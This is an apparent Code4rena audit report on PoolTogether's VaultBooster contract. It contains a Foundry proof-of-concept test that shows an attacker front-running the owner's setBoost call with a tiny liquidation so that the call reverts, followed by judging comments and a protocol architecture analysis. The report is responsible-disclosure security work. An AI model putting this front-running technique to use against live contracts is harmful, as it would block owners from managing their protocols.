Platform: Code4rena
Start Date: 02/08/2023
Pot Size: $42,000 USDC
Total HM: 13
Participants: 45
Period: 5 days
Judge: hickuphh3
Total Solo HM: 5
Id: 271
League: ETH
Rank: 2/45
Findings: 2
Award: $3,014.93
🌟 Selected for report: 2
🚀 Solo Findings: 1
🌟 Selected for report: 3agle
2291.9874 USDC - $2,291.99
https://github.com/GenerationSoftware/pt-v5-vault-boost/blob/9d640051ab61a0fdbcc9500814b7f8242db9aec2/src/VaultBooster.sol#L142-L165 https://github.com/GenerationSoftware/pt-v5-vault-boost/blob/9d640051ab61a0fdbcc9500814b7f8242db9aec2/src/VaultBooster.sol#L211-L237
setBoost()
function in VaultBooster
, which allows the owner to configure boost parameters for a specific token (tokenOut
)._initialAvailable
to ensure it does not exceed the contract's balance.if (_initialAvailable > 0) { uint256 balance = _token.balanceOf(address(this)); if (balance < _initialAvailable) { revert InitialAvailableExceedsBalance(_initialAvailable, balance); }
liquidate()
through the Liquidation Pair contract, reducing the contract's balance. As a result, the owner's transaction will revert, preventing the update of the liquidation pair and other boost parameters.1 wei
is sufficient to prevent the owner from configuring the boost parameters for as long as needed. This allows the attacker to maintain control and hinder the owner's ability to update the boost settings._multiplierOfTotalSupplyPerSecond
and _tokensPerSecond
when needed could lead to suboptimal boost strategies, inefficiencies, and missed opportunities for the associated prize vault. Flexibility in adjusting these parameters is crucial for adapting to changing market conditions and maintaining competitiveness in the dynamic DeFi ecosystem.Assembling this PoC will take a little work as the standard tests used only mock addresses instead of actual contracts.
/2023-08-pooltogether/pt-v5-vault-boost/test/PoC
/2023-08-pooltogether/pt-v5-vault-boost/test/PoC/MockERC20.sol
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "openzeppelin/token/ERC20/ERC20.sol"; contract MockERC20 is ERC20 { constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {} function mint(address to, uint256 amount) public { _mint(to, amount); } }
/2023-08-pooltogether/pt-v5-cgda-liquidator/src/libraries/ContinuousGDA.sol
to /2023-08-pooltogether/pt-v5-vault-boost/test/PoC/ContinuousGDA.sol
/2023-08-pooltogether/pt-v5-cgda-liquidator/src/LiquidationPair.sol
to /2023-08-pooltogether/pt-v5-vault-boost/test/PoC/LiquidationPair.sol
LiquidationPair.sol
as follows:import { ContinuousGDA } from "./ContinuousGDA.sol";
/2023-08-pooltogether/pt-v5-vault-boost/test/PoC/PoC.t.sol
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "./MockERC20.sol"; import "./LiquidationPair.sol"; import { SD1x18, unwrap, UNIT, sd1x18 } from "prb-math/SD1x18.sol"; import { UD2x18, ud2x18 } from "prb-math/UD2x18.sol"; import { VaultBooster, Boost, UD60x18, UD2x18, InitialAvailableExceedsBalance, OnlyLiquidationPair, UnsupportedTokenIn, InsufficientAvailableBalance } from "../../src/VaultBooster.sol"; import { PrizePool, TwabController, ConstructorParams, IERC20 } from "pt-v5-prize-pool/PrizePool.sol"; contract PoC is Test { // Tons of params required to setup the whole PoolTogether system ConstructorParams params; VaultBooster booster; LiquidationPair liquidationPair; ILiquidationSource source; TwabController twabController; PrizePool prizePool; MockERC20 boostToken; MockERC20 prizeToken; address vault; SD59x18 decayConstant = wrap(0.001e18); uint32 periodLength = 1 days; uint32 periodOffset = 1 days; uint32 targetFirstSaleTime = 12 hours; uint112 initialAmountIn = 1e18; uint112 initialAmountOut = 1e18; uint256 minimumAuctionAmount = 0; uint32 drawPeriodSeconds = 1 days; uint64 lastClosedDrawStartedAt = uint64(block.timestamp + 1 days); uint8 initialNumberOfTiers = 3; address drawManager = address(this); function setUp() public { //TokenIn prizeToken = new MockERC20("PrizeToken", "PT"); //TokenOut boostToken = new MockERC20("BoostToken", "BT"); //TwabController twabController = new TwabController(drawPeriodSeconds, uint32(block.timestamp)); //Prize Vault vault = makeAddr("vault"); //Prize Pool params = ConstructorParams( IERC20(address(prizeToken)), twabController, drawManager, drawPeriodSeconds, lastClosedDrawStartedAt, initialNumberOfTiers, 100, 10, 10, ud2x18(0.9e18), sd1x18(0.9e18) ); prizePool = new PrizePool(params); //Vault Booster booster = new VaultBooster(prizePool, vault, address(this)); //Liquidation Pair source = ILiquidationSource(address(booster)); liquidationPair = new LiquidationPair( source, address(prizeToken), address(boostToken), periodLength, periodOffset, targetFirstSaleTime, decayConstant, initialAmountIn, initialAmountIn, minimumAuctionAmount ); } function testFrontRun() public { vm.warp(0); //Minting 1e18 Boost Tokens to the Booster boostToken.mint(address(booster), 1e18); //Setting up the Booster to allow liquidation for Boost Token booster.setBoost(boostToken, address(liquidationPair), UD2x18.wrap(0.001e18), 0.03e18, 1e18); //Ensuring VaultBooster is properly configured Boost memory boost = booster.getBoost(boostToken); assertEq(boost.available, 1e18); vm.warp(10); //Now the Vault Booster's owner decides to update the boost values by calling `setBoost` //But attacker front-runs it by doing the following two steps in a single transaction //1. Attacker sends 100 wei Prize Tokens to Prize Pool prizeToken.mint(address(prizePool), 100); //2. Attacker calls the liquidation Pair to liquidate 100 wei of Boost Tokens for 100 wei of Prize Tokens in Vault Booster vm.prank(address(liquidationPair)); booster.liquidate(address(this), address(prizeToken), 100, address(boostToken), 100); //The transcation to update the boost will revert as `_initialAvailable < balance` due to liquidation of tokens vm.expectRevert(); booster.setBoost(boostToken, address(liquidationPair), UD2x18.wrap(0.002e18), 0.03e18, 1e18); } }
/2023-08-pooltogether/pt-v5-vault-boost/
:forge test --mc "PoC" -vvvv
Manual Review
Other
#0 - c4-pre-sort
2023-08-08T02:17:51Z
raymondfam marked the issue as duplicate of #69
#1 - c4-pre-sort
2023-08-08T05:47:44Z
raymondfam marked the issue as high quality report
#2 - raymondfam
2023-08-08T06:20:31Z
The severity should be medium.
#3 - c4-pre-sort
2023-08-10T01:09:32Z
raymondfam marked the issue as not a duplicate
#4 - c4-pre-sort
2023-08-10T01:09:54Z
raymondfam marked the issue as duplicate of #27
#5 - c4-judge
2023-08-14T03:43:48Z
HickupHH3 marked the issue as not a duplicate
#6 - c4-judge
2023-08-14T03:43:56Z
HickupHH3 changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-08-14T03:44:01Z
HickupHH3 marked the issue as primary issue
#8 - HickupHH3
2023-08-14T03:44:46Z
Valid griefing concern.
#9 - c4-judge
2023-08-14T07:26:48Z
HickupHH3 marked the issue as selected for report
#10 - c4-sponsor
2023-09-06T23:03:51Z
asselstine (sponsor) acknowledged
🌟 Selected for report: 3agle
Also found by: 0xSmartContract, 0xmystery, DedOhWale, K42, cholakov, hunter_w3b
722.9357 USDC - $722.94
The overall quality of the codebase for PoolTogether can be classified as "Good".
Strengths
Weaknesses
PoolTogether is a decentralized finance protocol that combines savings and lottery, allowing users to deposit funds and have a chance to win rewards in daily prize draws, while maintaining the ability to withdraw their initial deposits at any time.
Following are the major parts of Pooltogether system:
Deposit & Withdrawal Flow
1000 USDC
. You deposit that into the Pooltogether’s USDC Prize Vault .TWABController
. It is omitted for simplicity.Liquidation Flow
When a liquidator initiates the liquidation process, they call swapExactAmountOut
on the LiquidationRouter. The router then transfers the POOL tokens from the liquidator and to the Prize Pool on behalf of the vault. The router also checks that the liquidation pair beinng called is deployed by the liquidation factory.
It then calls the swapExactAmountOut
on Liquidation Pair associated with the vault. In the LiquidationPair, there are two tokens involved:
tokenIn
: POOL tokentokenOut
: Vault sharesThe liquidation pair then calls liquidate
on the Vault.
The vault then calls contributePrizeTokens
on the PrizePool to register the vault’s contribution. Then, it mints the vault shares to the liquidator.
Note: The liquidation pair uses Continuous Gradual Dutch Auction system to sell the vault shares or ERC20 tokens (in case of Vault Boosters).
Vault Boosters
swapExactAmountOut
function on the LiquidationRouter, providing the address of the Vault Booster's liquidation pair.28 hours
#0 - c4-pre-sort
2023-08-08T23:29:04Z
raymondfam marked the issue as high quality report
#1 - c4-sponsor
2023-08-10T19:20:52Z
asselstine marked the issue as sponsor confirmed
#2 - c4-sponsor
2023-08-10T19:20:57Z
asselstine marked the issue as sponsor acknowledged
#3 - c4-judge
2023-08-14T10:57:20Z
HickupHH3 marked the issue as grade-a
#4 - c4-judge
2023-08-14T10:58:37Z
HickupHH3 marked the issue as selected for report